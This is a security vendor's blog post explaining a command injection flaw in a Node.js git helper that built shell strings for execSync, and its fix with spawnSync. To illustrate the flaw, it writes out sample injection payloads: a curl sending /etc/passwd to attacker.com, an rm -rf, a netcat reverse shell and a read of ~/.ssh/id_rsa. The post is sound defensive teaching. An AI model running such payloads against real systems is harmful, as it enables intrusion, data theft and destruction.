Back to Blog
high SEVERITY7 min read

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `src/collectors/git.ts`, where `execSync` was used to build a shell command by interpolating unsanitized arguments into a template string. By replacing `execSync` with `spawnSync`, the fix eliminates shell interpretation entirely, ensuring that git arguments are passed directly to the process without ever touching a shell. This change is especially important for a Node.js library, where downstream consumers may pass user-controlle

O
By Orbis AppSec
•Published August 15, 2026•Reviewed August 15, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Node.js TypeScript file (`src/collectors/git.ts`), where `execSync` constructed a shell command by interpolating an `args` array with string concatenation (`git ${args.join(' ')}`). Any user-controlled value in `args` could inject arbitrary shell commands. The fix replaces `execSync` with `spawnSync('git', args, ...)`, which passes arguments directly to the `git` process without invoking a shell, eliminating the injection surface entirely.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixReplace execSync with spawnSync, passing args as an array to bypass shell interpretation
riskArbitrary shell command execution if args array contains user-controlled input
languageTypeScript / Node.js
root causeexecSync interpolates args into a shell string, enabling shell metacharacter injection
vulnerabilityCommand Injection via child_process.execSync

How Command Injection Happens in Node.js child_process Calls and How to Fix It

The git.ts File Had a Shell Hiding in Plain Sight

The src/collectors/git.ts file is responsible for collecting Git repository metadata — things like ahead/behind sync status and file change counts. Its core helper, execGit, accepts an array of arguments and runs them against the local git binary. On the surface, this looks like a routine utility function. But the original implementation contained a subtle and dangerous flaw: it handed those arguments to a shell.

Here's the vulnerable code at line 15:

// BEFORE — vulnerable
import { execSync } from 'child_process';

function execGit(args: string[], cwd?: string): string | null {
  try {
    const result = execSync(`git ${args.join(' ')}`, {
      cwd: cwd || process.cwd(),
      encoding: 'utf-8',
      stdio: ['pipe', 'pipe', 'pipe'],
      timeout: 5000,
    });
    return result.trim();
  } catch {
    return null;
  }
}

The problem is the template literal: `git ${args.join(' ')}`. This constructs a shell command string by joining the args array with spaces and concatenating it after git. That string is then handed to execSync, which — critically — invokes a shell to interpret it. Every shell metacharacter in args is live.


The Vulnerability Explained

Why execSync with String Interpolation Is Dangerous

execSync in Node.js, by default, spawns /bin/sh -c <command> (on Unix-like systems) or cmd.exe /d /s /c <command> on Windows. This means the entire command string is parsed by a shell before git ever sees it.

When args contains values like:

["log", "--oneline; curl https://attacker.com/exfil?data=$(cat /etc/passwd)"]

The resulting command string becomes:

git log --oneline; curl https://attacker.com/exfil?data=$(cat /etc/passwd)

The shell interprets the semicolon as a command separator and executes both commands. The git process runs normally, and the injected command runs silently alongside it.

Attack Scenario Specific to This Code

This is a Node.js library, meaning its execGit function could be called by downstream consumers who construct args from user input — for example, a web application that lets users specify a branch name, a file path, or a commit range to inspect.

Consider a scenario where a downstream app passes a user-supplied branch name:

// Downstream consumer — vulnerable usage
const branch = req.query.branch; // user-controlled
execGit(['log', '--oneline', branch]);

If branch is set to main; rm -rf /tmp/important-data, the resulting shell command is:

git log --oneline main; rm -rf /tmp/important-data

Other dangerous payloads include:
- $(whoami) — command substitution
- | nc attacker.com 4444 -e /bin/sh — reverse shell via pipe
- `cat ~/.ssh/id_rsa` — backtick execution

The catch {} block in the original code actually makes this worse from a detection standpoint: it silently swallows errors, so a partially successful injection (where git fails but the injected command succeeds) returns null without raising any alarm.

Real-World Impact

Because this is a library, the blast radius extends beyond the repository itself. Any application that installs this package and passes externally-sourced strings into execGit inherits the vulnerability. In CI/CD environments, where git tooling often runs with elevated permissions or access to secrets, this is especially critical.


The Fix

Replace execSync with spawnSync — Eliminate the Shell Entirely

The fix is clean, minimal, and architecturally sound:

// AFTER — fixed
import { spawnSync } from 'child_process';

function execGit(args: string[], cwd?: string): string | null {
  const result = spawnSync('git', args, {
    cwd: cwd || process.cwd(),
    encoding: 'utf-8',
    stdio: ['pipe', 'pipe', 'pipe'],
    timeout: 5000,
  });
  if (result.error || result.status !== 0) return null;
  return result.stdout.trim();
}

What Changed and Why It Matters

Aspect Before After
Function execSync(string) spawnSync('git', args[])
Shell invoked? ✅ Yes (/bin/sh -c ...) ❌ No
Args handling String interpolation via args.join(' ') Array passed directly to the process
Metachar risk ;, \|, $(), backticks all active No shell, no metacharacters
Error handling try/catch swallows all errors Explicit result.error and result.status check

The key insight is that spawnSync('git', args, ...) never invokes a shell. The Node.js runtime passes the args array directly to the operating system's execve syscall (or equivalent). Each element of args is treated as a literal argument to git — there is no string parsing, no metacharacter interpretation, and no shell expansion.

This means even a malicious input like "--oneline; rm -rf /" is passed to git as a single, literal argument string. Git will reject it as an invalid argument. No shell command runs.

The fix also improves error handling: instead of a broad try/catch that silently swallows everything, the new code explicitly checks result.error (process spawn failure) and result.status !== 0 (non-zero exit code), returning null only in those cases. This is more transparent and debuggable.


Key Takeaways

  • The execGit function in git.ts was one template literal away from a shell — the pattern `git ${args.join(' ')}` is the exact shape of a command injection sink.
  • execSync always invokes a shell — any string passed to it is shell-interpreted, making metacharacter injection trivially easy.
  • spawnSync('git', args) is not just "safer" — it's categorically different — there is no shell process, so there are no metacharacters to escape or sanitize.
  • Library code has an amplified attack surface — a vulnerability in execGit affects every downstream consumer who passes external input, not just this one repository.
  • Swallowing errors with catch {} can mask successful injections — the new explicit result.error || result.status !== 0 check is both safer and more transparent.

How Orbis AppSec Detected This

  • Source: The args: string[] parameter of the execGit function in src/collectors/git.ts — an array whose elements may originate from user-controlled or externally-sourced input in downstream consumers.
  • Sink: execSync(`git ${args.join(' ')}`, ...) at src/collectors/git.ts:15 — a shell command constructed by interpolating the args array into a template literal.
  • Missing control: No sanitization, escaping, or allowlisting of args elements before they were joined into the shell command string.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Replaced execSync with spawnSync('git', args, ...), passing arguments as an array directly to the git process and bypassing shell interpretation entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in src/collectors/git.ts is a textbook example of how a small, seemingly innocuous code pattern — joining an array into a string and passing it to execSync — can open the door to full command injection. The fix is equally instructive: by switching from execSync to spawnSync with an argument array, the shell is eliminated from the equation entirely. No shell means no shell metacharacters, and no shell metacharacters means no injection.

For Node.js developers working with child_process, the rule of thumb is simple: if you can use an argument array, use it. Reserve shell-based execution (exec, execSync) for cases where you genuinely need shell features like globbing or piping — and never feed user input into those strings without robust, defense-in-depth validation.

Security isn't always about complex cryptographic protocols or sophisticated runtime defenses. Sometimes it's about choosing the right function.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #15

Related Articles

high

image-size 1.2.1 DoS: Zero-Valued Dimensions in Image Buffer Parser

A high-severity denial-of-service vulnerability in image-size 1.2.1 allows attackers to crash Node.js services using malicious image buffers with zero-valued dimensions. The fix removes the vulnerable `queue` dependency and tightens dimension validation in version 2.0.3.

high

linkify-it 5.0.1 mailto: Link Parsing Causes DoS

linkify-it versions up to 5.0.1 can be forced into excessive processing time when autolinking a specially crafted mailto: link, allowing a remote attacker to degrade or stall the parsing thread. Upgrading to linkify-it 5.0.2 closes the issue; any application that runs linkify-it (directly or via markdown-it) against untrusted text should update immediately.

critical

Slim CLI Unverified Remote Fetch in Version Check

The Slim CLI's version check command fetched remote package metadata without integrity verification, enabling attackers to serve malicious responses through repository hijacking or man-in-the-middle attacks. The fix adds input validation, HTTP status checking, and response schema verification to ensure only legitimate version data is processed.

critical

ensureTrivy() CWE-494: Unverified Trivy Binary Download

The `ensureTrivy()` function fetched the Trivy vulnerability scanner from GitHub releases without verifying its integrity, exposing applications to supply-chain attacks. An attacker in a MITM position or a compromised CDN could substitute a malicious binary that executes with the application's privileges. The fix adds cryptographic verification using SHA256 checksums published alongside each release.

high

@xmldom/xmldom 0.9.10 ReDoS: CVE-2026-83606 in PI Parsing

The dependency tree pinned `@xmldom/xmldom` at 0.9.10, a version vulnerable to CVE-2026-83606: a regular expression in the processing-instruction (`<?target data?>`) parsing path backtracks catastrophically on crafted input, so a single XML document can consume CPU for seconds or minutes. Because Node.js runs application code on one thread, that stall blocks every other request in flight. The lockfile was updated to resolve `@xmldom/xmldom` 0.9.12, which carries the fix.

high

Unbounded Map in createLoginRateLimiter Exhausts API Memory

The console API's `createLoginRateLimiter` and `createMutationRateLimiter` stored one `Map` entry per client key with no upper bound and no expiry sweep, so an attacker rotating source addresses or identifiers could grow those maps until the Node process hit an out-of-memory crash. The fix introduces a `maxTrackedKeys` option (default 5000), a `trackedEntryLimit` sanitizer, and an `evictOldestIfFull` helper that drops the oldest tracked key while protecting the shared global counter. The rate li